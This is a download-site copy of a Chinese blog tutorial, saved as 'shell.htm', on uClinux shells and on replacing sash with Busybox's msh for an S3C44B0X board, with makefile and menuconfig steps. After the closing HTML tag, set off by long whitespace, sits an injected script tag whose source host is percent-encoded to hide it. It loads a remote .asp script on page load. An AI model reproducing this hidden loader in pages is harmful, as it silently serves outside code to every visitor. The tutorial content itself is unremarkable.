⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 shell.htm

📁 S3C44B0X下的LCD (framebuffer)驱动资料与相关代码
💻 HTM
📖 第 1 页 / 共 3 页
字号:
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>进行改进以增强它的功能时,便需要更换<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>。<BR><BR>uClinux下的<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">shell</B><BR>uClinux操作系统是标准Linux的一个分支,是专门针对没有MMU(存储管理单元)的CPU而配制的操作系统,并且专为嵌入式系统做了许多小型化的工作。目前uClinux常用的应用程序库是mC-libc和mClibc。<BR>通过make 
                        menuconfig来配置uClinux时,可以看到,这里可供选择的<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>有:<B 
                        style="COLOR: black; BACKGROUND-COLOR: #ffff66">sash</B>、minix 
                        -<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">shell</B>、nwsh、bash、Other。其中<B 
                        style="COLOR: black; BACKGROUND-COLOR: #ffff66">sash</B>对应的代码为uClinux-Samsung/user/<B 
                        style="COLOR: black; BACKGROUND-COLOR: #ffff66">sash</B>,minix-<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">shell</B>对应的代码为uClinux-Samsung 
                        /user/sh,nwsh对应的代码为uClinux-Samsung/user/nwsh,bash对应的代码为uClinux-Samsung 
                        /user/bash,Other则表示可选择其它的<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>,主要是指Busybox里面的几个<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>。其中minix-<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">shell</B>在mC-libc和mClibc下都可以编译通过,且都可以较好地使用,但功能不是很强;nwsh在mC-libc和mClibc下都可以编译通过,但都工作不正常,无法进入<B 
                        style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>行提示符;bash则无论在mC-libc还是mClibc下都无法编译通过,其结构不适合uClinux。本文主要讨论如何使用Busybox中的<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>。<BR><BR>Busybox中的<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">shell</B><BR>Busybox最早为Debian 
                        Linux的安装盘所写,并将大量Linux下的工具集成到一个可执行文件中。目前Busybox提供了100多个<B 
                        style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>的功能,但它的可执行文件只有几百KB,为嵌入式系统提供了一个比较完整而且体积较小的POSIX运行环境。不过这些<B 
                        style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>的参数选项要比原来完整的GNU<B 
                        style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>少。<BR>Busybox中集成进去的<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>有以下几个。①Lash:很小,加起来有10k,非常适合执行<B 
                        style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>,支持管道和重定向,但不支持Bourne 
                        <B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>语法,无法解释脚本。②Hush:也非常小, 
                        18k左右,支持Bourne <B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>语法,能够很好地处理if/then/else/fi结构语句,但是处理不了像for/do/done或者case/esac等循环语句。③Msh:加起来有30k左右,能够处理for/do/done、case/esac等循环语句。只要是Bourne 
                        <B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">shell</B>能够做的,Msh一般都能做到,它的语法与Bourne 
                        <B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>语法可能不完全相同,但大多数Bourne 
                        <B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>语法都能被Msh解释。Msh是用vfork来创建新进程的,所以适于uClinux操作系统。④Ash:在默认配置下大约有60k左右,是Busybox里最完整的<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>,但无法在uClinux 
                        上编译通过。<BR>综上所述,Busybox里的Msh是目前uClinux下最好的<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>。</DIV>
                        <DIV>&nbsp;</DIV>
                        <DIV><SPAN>uClinux下<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>的更换<BR>uClinux下<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>的更换包括以下几个步骤:<BR>1. 
                        修改uClinux-Samsung/user目录下的makefile文件,去掉Busybox项的注释,这样Busybox才能被编译。<BR>2.修改uClinux-Samsung\user\busybox目录下的makefile文件,具体包括以下几项:<BR>(1) 
                        由于要静态编译Busybox, 故将DOSTATIC = false 改为 DOSTATIC = 
                        true<BR>(2) 
                        修改交叉编译工具:<BR>CROSS_COMPILE=arm-elf-<BR>CROSS=$( 
                        CROSS_COMPILE)<BR>CC=$( CROSS_COMPILE)gcc<BR>AR=$( 
                        CROSS_COMPILE)ar<BR>STRIPTOOL=$(CROSS_ 
                        COMPILE)strip<BR>(3) 在该makefile文件中找到下面这一句:<BR>CFLAGS += 
                        $(WARNINGS) $(OPTIMIZATION) -g -fomit-frame-pointer 
                        -D_GNU_SOURCE<BR>去掉其中的 -fomit-frame-pointer 项<BR>(4) 
                        在该makefile文件中找到下面这一句:<BR>sed "s:^:$$ROMFSDIR/bin/:" | 
                        env -i xargs rm -f;<BR>去掉其中的env -i 两项。<BR>3. make 
                        menuconfig,重新配置uClinux内核。配置时选掉<B 
                        style="COLOR: black; BACKGROUND-COLOR: #ffff66">sash</B>,然后选中以下几项:<BR></SPAN>
                        <UL>
                          <LI><SPAN>BusyBox<BR></SPAN>
                          <LI><SPAN><B 
                          style="COLOR: black; BACKGROUND-COLOR: #a0ffff">shell</B><BR></SPAN>
                          <LI><SPAN>msh: Minix <B 
                          style="COLOR: black; BACKGROUND-COLOR: #a0ffff">shell</B><BR></SPAN>
                          <LI><SPAN>MSH is /bin/sh<BR>去掉<B 
                          style="COLOR: black; BACKGROUND-COLOR: #ffff66">sash</B>后,就必须在Busybox里面把原来<B 
                          style="COLOR: black; BACKGROUND-COLOR: #ffff66">sash</B>下常用的一些内部<B 
                          style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>编译进来,例如ls、cp 
                          等基本<B 
                          style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>,这些原来是<B 
                          style="COLOR: black; BACKGROUND-COLOR: #ffff66">sash</B>的内部<B 
                          style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>,现在换了<B 
                          style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>,就必须选用Busybox里面的<B 
                          style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>作为独立的小应用程序来使用。本文中选择了以下的常用<B 
                          style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>:clear、mkdir、ping、cat、cp、ln、ls、ifconfig等,其中的ls和ifconfig<B 
                          style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>下面的几项功能需要全部选择。<BR>编译的时候有个错误,是指msh.c中没有_NSIG这个定义,须在msh.c中加上这样一句:#define 
                          _NSIG 
                          255,之后可编译通过。<BR>编译后,在uClinux-Samsung\user\busybox目录下编译出一个单个的独立执行程序,叫做 
                          busybox.exe。将编译后的busybox.exe拷贝到uClinux-Samsung\romfs\home目录下,重新编译内核(不用再配置内核)。</SPAN><BR></LI></UL></DIV>
                        <P><SPAN>4. 将编译好的uClinux操作系统内核下载运行,使用Busybox中的Msh <B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>及各种<B 
                        style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>。使用Busybox 
                        也很简单,只要建一个符号链接就可以了。但是由于uClinux操作系统默认的根文件系统romfs是只读的,只有/tmp和/var两个目录下是以虚拟ram盘的方法实现的可读写目录(系统掉电后,里边保存的内容全丢失),故在进行符号链接时必须链接到这两个可读写的目录下,例如 
                        ln -s /bin/busybox /tmp/ls,那么,执行/tmp/ls的时候,Busybox 就会执行 
                        ls 的功能,也会按照 ls 的方式处理<B 
                        style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>行参数。<BR>运行成功后,可以发现这个<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>不同于原来的<B 
                        style="COLOR: black; BACKGROUND-COLOR: #ffff66">sash</B>,它的提示符为#,支持上下键翻查<B 
                        style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>,但还不支持Tab键补齐功能。<BR>再找到uClinux-dist/config/config.in文件进行编辑,将该文件中的<BR>bool 
                        'sh: tab completion' CONFIG_USER_BUSYBOX_TAB_ 
                        COMPLETION<BR>bool 'sh: username completion' 
                        CONFIG_USER_BUSYBOX_USER NAME_COMPLETION<BR>改为:<BR>bool 
                        'sh: tab completion' CONFIG_USER_BUSYBOX_COMMAND_ 
                        TAB_COMPLETION<BR>bool 'sh: username completion' 
                        CONFIG_USER_BUSYBOX_COM 
                        MAND_USERNAME_COMPLETION<BR>然后再make 
                        menuconfig,选择Busybox的<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>特性后重新编译,再下载运行,就可以实现Tab键补齐功能了。<BR>另外还可以增加Msh 
                        <B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>的其它功能,比如ls<B 
                        style="COLOR: black; BACKGROUND-COLOR: #99ff99">命令</B>的以彩色显示不同属性文件的功能等,这里不再详述。<BR><BR>结语<BR>本文主要讨论了uClinux操作系统下的各种<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>,并以更换默认的<B 
                        style="COLOR: black; BACKGROUND-COLOR: #ffff66">sash</B>为Busybox里的Msh为例,介绍了如何改进uClinux下的<B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>功能,对uClinux操作系统的应用具有一定的意义。<BR><BR>参考文献<BR>1 
                        坦思利 著. 徐焱 译. Linux与UNIX <B 
                        style="COLOR: black; BACKGROUND-COLOR: #a0ffff">Shell</B>编程指南. 
                        机械工业出版社,2000. 6</SPAN><BR></P></DIV></TD></TR></TBODY></TABLE>
                  <TABLE class=dashed cellSpacing=0 cellPadding=0 align=center 
                  border=0>
                    <TBODY>
                    <TR>
                      <TD></TD></TR></TBODY></TABLE>
                  <TABLE class=function cellSpacing=0 cellPadding=0 align=center 
                  border=0>
                    <TBODY>
                    <TR>
                      <TD><A id=comment 
                        href="javascript:get('/sns/service.php?m=comment&amp;blog_id=4ce98111010009l5&amp;time=1182188664','/xsl/comment.xsl','comment_4ce98111010009l5','output','gload');">评论(0)</A>┆<A 
                        href="http://blog.sina.com.cn/control/writing/scriber/article_add_by_quote.php?blog_id=4ce98111010009l5" 
                        target=_blank>引用</A>┆<A 
                        href="http://blog.sina.com.cn/myblog/article/article_reader.php?blog_id=4ce98111010009l5" 
                        target=_blank>阅读(0)</A>┆<A 
                        href="javascript:get('/sns/service.php?m=circleinfo&amp;blog_id=4ce98111010009l5','/xsl/circle.xsl','circleinfo_4ce98111010009l5','output','gload');">圈子</A>┆<A 
                        href="http://blog.sina.com.cn/myblog/article/article_print.php?blog_id=4ce98111010009l5" 
                        target=_blank>打印</A>┆<A 
                        onclick="new dialog().showWindow('/advice/impeach.php?url=' + escape(document.location.href),'510','495');" 
                        href="javascript:;">有奖举报</A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
            <TABLE cellSpacing=0 cellPadding=0 align=center border=0>
              <TBODY>
              <TR>
                <TD id=articleChild4ce98111010009l5 
              style="DISPLAY: none"></TD></TR></TBODY></TABLE></DIV></CENTER>
            <DIV id=gload></DIV></DIV>
            <DIV class=margin></DIV></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE class=sysW770 cellSpacing=0 cellPadding=0 align=center border=0>
  <TBODY>
  <TR>
    <TD class=bodyBottom></TD></TR></TBODY></TABLE>
<TABLE class="sysW770 sysFoot" cellSpacing=0 cellPadding=0 align=center 
border=0>
  <TBODY>
  <TR>
    <TD align=middle><BR></TD></TR></TBODY></TABLE><SPAN style="DISPLAY: none" 
expara="" url="http://blog.sina.com.cn/u/4ce98111010009l5" 
key="4ce98111010009l5" pid="1" name="pvcounter"></SPAN></BODY></HTML>
                                                                                              
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -